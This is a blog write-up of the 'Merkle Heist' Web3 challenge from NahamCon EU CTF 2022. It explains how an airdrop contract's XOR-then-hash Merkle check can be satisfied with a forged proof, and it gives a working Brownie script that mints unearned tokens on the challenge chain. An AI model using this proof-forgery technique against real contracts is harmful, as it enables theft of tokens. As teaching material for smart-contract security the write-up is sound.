Monday, December 19, 2022

NahamCon EU CTF 2022 - Welcome to Web3!

The event

NahamCon EU CTF started on December 16th and lasted 24 hours. It had all the most common types of challenges such as web, pwn, reverse, crypto, etc. I could not play the entire event, so I dedicated most of my play time at the Web3 challenges since it’s not yet too common in CTFs and I always have a good time solving challenges like this.

Big thanks to Halborn for providing the web3 challanges :-)

Challenge

The challenge itself is not difficult once you understand some core concepts of solidity, a programming language used to creat smart contracts from the Ethereum network, and a little bit of how XOR works.

So, I’ll try here to bring as much detail as I can even in some basic things from this world.

The challenge is called Merkle Heist and had at the end of the CTF a total of 11 solves.

Tools

In order to interact with the smart contract deployed in our private RPC URL I used Brownie Framework. It is a Python-based development and testing framework for smart contracts targeting the Ethereum Virtual Machine.

Here’s a quick link for instalation: Install Brownie

Setting up the environment

Before we start analyzing the vulnerable contract, we need configure our environment to communicate with the Ethereum private node that was given to us.

In order to accomplish this, we need to tell brownie where to connect when running our tests. We can do that by creating a custom network passing the private RPC URL as parameter.

Run: brownie networks add Ethereum CTF-Merkle-heist host=https://ctf.nahamcon.com/challenge/41/aa0e6c2d-efea-455f-8802-83c8df461a1d chainid=1337

Replace the host parameter with your private RPC URL.

Now, brownie will be able to interact with the contract deployed for the challenge.

Analyzing the given files

When we download the zip file, we get a bunch files that we’ll need to analyze to solve the challenge. But before that, let’s find out what’s the condition we need to pass to solve it.

Inside the scripts folder we see the challenge.py file. It basically deploys the contract we must target and has the condition to solve it. Let’s first check the solve function:

def solved():
    token = SimpleToken[-1]

    # You should mint 100000 amount of token.
    if token.totalSupply() == 200000:
        return True, "Solved!"
    else:
        return False, "Not solved, you need to mint enough to solve."

That first comment says it all, we must mint 100000 STK (Simple Tokens) to beat it.

Crypto minting basically refers to the process of creating new coins through verification of data, creation of new blocks, and documentation of the verified information on a blockchain network through Proof of Stake consensus. From 101blockchains

Let’s take a look now at the deploy function:

def deploy():
    ADMIN = accounts[9]
    token = SimpleToken.deploy('Simple Token', 'STK', {'from': ADMIN})
    _merkleRoot = 0x654ef3fa251b95a8730ce8e43f44d6a32c8f045371ce6a18792ca64f1e148f8c
    airdrop = Airdrop.deploy(token, 1e5, _merkleRoot, 4, {'from': ADMIN})
    token.setAirdropAddress(airdrop, {'from': ADMIN})

    merkleProof = [
        int(convert.to_bytes(ADMIN.address).hex(),16),
        0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782,
        0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
        0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
    ]

    airdrop.mintToken(merkleProof)

The deploy function is also pretty straightforward:

  1. Set the ADMIN account
  2. Deploy the simpleToken contract (We’ll talk about it more later)
  3. Define the merkleRoot constant (Import for the resolution of the challenge)
  4. Deploy the airdrop contract
  5. call the function setAirdroppAddress from the token contract. (So they can communicate correctly)
  6. Define the merkleProof variable
  7. Call the function mintToken from the airdrop contract passing the merkleProof as parameter

This is all we need to know from this file. Now let’s understant what exactly is going on in each step.

Deeper analysis

Set the ADMIN account

The deploy function is setting the ADMIN account with a local account from that chain. Let’s take Ganache, from trufflesuite, as an example. Ganache creates a personal Ethereum blockchain which can be used to run test, execute commands and make inspections in the blockchain.

The image above represents a local ganache client running on my machine. I can use it to deploy contracts and look for bugs or develop awesome contracts, for example. As you can see, it generates a few (10) local accounts with 100 ETH balance and runs on my localhost:7545.

With that being said, the admin account is the one located at index 9 of the local accounts array created for the challenge.

Deploy the simpleToken contract

Here, the script is deploying the simpleToken contract present inside de contracts folder (We’ll analyze it shortly), passing two parameter:

  1. Name of the token: Simple Token
  2. Its symbol: STK
  3. The account deploying the contract: ADMIN

Define the merkleRoot constant

We’ll talk more about this later, but let’s save this constant.

Deploy the airdrop contract

Deploy the airdop contract passing a few parameters:

  1. The simpleToken address that was deployed in stage 2
  2. The inital amount of tokens to be minted: 100000
  3. The merkleRoot constant
  4. The length of the merkleProof array: 4
  5. The account deploying the contract: ADMIN

Analyzing the vulnerable contract

Simpletoken.sol

Now that we know our goal to solve the challenge we must find a way to mint these extra 100000 STK. The simpleToken.sol contract implements this mint function:

function mint(address addr, uint256 amount) external{
        require(msg.sender == airdropAddress, "You can't call this");
        _mint(addr, amount);
    }

This require is very clear. In order to mint tokens, the sender must be the airdrop contract, we cannot do this directly from our account. We must find a way inside the airdrop contract to mint the tokens we need.

Airdrop.sol

There’s a function that we have to attack for sure in this contract, mintToken:

function mintToken(bytes32[] memory merkleProof) external {
        require(!dropped[msg.sender], "Already dropped");
        require(merkleProof.length == proofLength, "Tree length mismatch");
        require(address(uint160(uint256(merkleProof[0]))) == msg.sender, "First Merkle leaf should be the msg.sender's address");
        require(proofHash(merkleProof) == merkleRoot, "Merkle proof failed");

        dropped[msg.sender] = true;
        token.mint(msg.sender, dropPerAddress);
        _latestAcceptedProof = merkleProof;
    }

In order to mint out tokens, we must pass these four conditions:

  1. The caller of this function must not me mapped inside the dropped mapping. Which means that we cannot mint tokens more than once with the same user.
  2. It states that the merkleProof parameters that we pass must have its length equal to 4
  3. The first element of the merkleProof parameter must contain the address of the caller of the function (our account)
  4. The return element of the proofHash function passing the merkleProof as parameter must be equal to the merkleRoot constant defined instants ago.

Solution

Alright, after all that introduction we know where to look at. Let’s start bypassing these annoying checks and solve it!

First Check

require(!dropped[msg.sender], "Already dropped");

This require checks if the msg.sender (us) has already minted any tokens. To bypass this we only need a fresh account. So no headaches here.

✅ Use an account that hasn’t minted any tokens in this contract.

Second Check

require(merkleProof.length == proofLength, "Tree length mismatch");

This function accepts a bytes32 array as parameter called merkleProof. The challenge.py file has an example that we can use to illustrate:

merkleProof = [
        int(convert.to_bytes(ADMIN.address).hex(),16),
        0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782,
        0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
        0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
    ]

✅ We need to make sure that the merkleProof we send has a length of 4.

Third Check

require(address(uint160(uint256(merkleProof[0]))) == msg.sender, "First Merkle leaf should be the msg.sender's address");

Let’s create a script that will solve the challenge. This first part here is to calculate the first argument of the merkleProof array.

from brownie import Airdrop, accounts, Wei, convert

def test_solve():
	# Set the deployed contract address
    contract = Airdrop.at("0xA15BB66138824a1c7167f5E85b957d04Dd34E468")
    # Get the first local account to be out account for testing
    account = accounts[0]
	
	# Print some variables to stdout
    print(f"[+] Contract: {contract}")
    print(f"[+] Account: {account}")
    print(f"[+] Admin Account: {accounts[9]}")

	# Calculate the first argument of our array
    merkleProof = [
        convert.to_bytes(account.address).hex()
    ]
	
	#Print it
    print(merkleProof)

Running this we get:

Note

(address(uint160(uint256(merkleProof[0]))

Only takes the least 20 significant bytes of a 32 byte array to consider as our address. If we send:

0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266 or 0xa1b2c3d4e5f6000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266 they will both be accepted in this third check since the 12 most significant bytes are not considered.

✅ Calculate the first parameter of our merkleProof

Final Check

require(proofHash(merkleProof) == merkleRoot, "Merkle proof failed");\

This we’ll have to work a little harder to bypass. It requires that the function proofHash passing our merkleProof as argument to be equal that merkleRoot constant that we defined earlier and was passed to the constructor.

Let’s take a look at the proofHash function:

function proofHash(bytes32[] memory nodes) internal pure returns (bytes32 result) {
        result = pairHash(nodes[0], nodes[1]);
        for (uint256 i = 2; i < nodes.length; i++) {
            result = pairHash(result, nodes[i]);
        }
    }

It accepts a bytes32 array as a parameter (Our merkleProof) and call another function pairHashes with the merkleProof elements.

The function pairHashes looks like this:

function pairHash(bytes32 a, bytes32 b) internal pure returns (bytes32) {
        return keccak256(abi.encode(a ^ b));
    }

This function simply does the following:

  1. Takes two bytes32 variables
  2. XOR them
  3. Calculates the keccak256 of the XOR result

Keccak256 is a cryptographic function built into solidity. This function takes in any amount of inputs and converts it to a unique 32 byte hash.

The diagram below represents the flow inside the proofHash function.

So, we need to figure out a way to achieve the same merkleRoot as the one set in the constructor. In order to accomplish this, we must abuse how XOR works. We know that in the first case, the one represented in the challenge.py file, the following happened:

0x000000000000000000000000a0Ee7A142d267C1f36714E4a8F75612F20a79720 ^ 0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782 = 0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2

So, weed need that the parameter for the first call to keccak256 inside the pairHash function to be equal 0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2 to achive the same hash.

According to XOR propertis, we have:

A ^ B = C --> A ^ C = B

We are missing only the second paramenter of our fake merkleProof, let’s calculate the bytes32 that we need to get the same hash:

0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 ^ 0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2 = 0xadc69b805f1aba6eb34c04277eae5760308b82c4

0xf39f… is our test account 0x5e59… is the result we need to be hashed to get the same merkle root 0xadc6… is now the second element of our merkle proof array

We have now, a merkleProof that will all checks and mint some tokens for us:

merkleProof = [
        0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266, # Our testing account
        0x000000000000000000000000adc69b805f1aba6eb34c04277eae5760308b82c4, # New element calculated
        0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
        0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
    ] 

Elements at index 2 and 3 remained the same.

✅ Created the new merkle proof array with our account

Script

After all that calculation, the final script would look something like this:

from brownie import Airdrop, accounts, Wei, convert

def test_solve():
    contract = Airdrop.at("0xA15BB66138824a1c7167f5E85b957d04Dd34E468")
    account = accounts[0]

    print(f"[+] Contract: {contract}")
    print(f"[+] Account: {account}")
    print(f"[+] Admin Account: {accounts[9]}")

    merkleProof = [
        0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266,
        0x000000000000000000000000adc69b805f1aba6eb34c04277eae5760308b82c4,
        0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
        0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
    ] 

    contract.mintToken(merkleProof, {"from": account})

    print(f"\n[+] Last accepted proof: {contract.latestAcceptedProof()}")
    

All we have to do now is go to the platform and hit that juicy solve button and get our points! 🏁🏁🏁

Final Thoughts

This was indeed an easy challenge, the main idea here was to give an introduction to this world of web3 hacking and provide some info on how to start, what to use and a few solidity tips. I myself have been playing around with it for just a couple of months but it has been quite fun. If you wanna know more, hack more web3 challenges, I strongly recommend you to start at ethernaut wargame from open zeppelin.

I know that I skipped a few things about solidity, brownie and even merkle trees themselves. I’ll strongly agree the you check out the references below.

If you wanna discuss more about it, feel free to reach me Twitter or linkedin :-)

thanks for reading 👽 👽 👽

References

Capture the Flag , Solidity Programming Language , Web3 , Writeup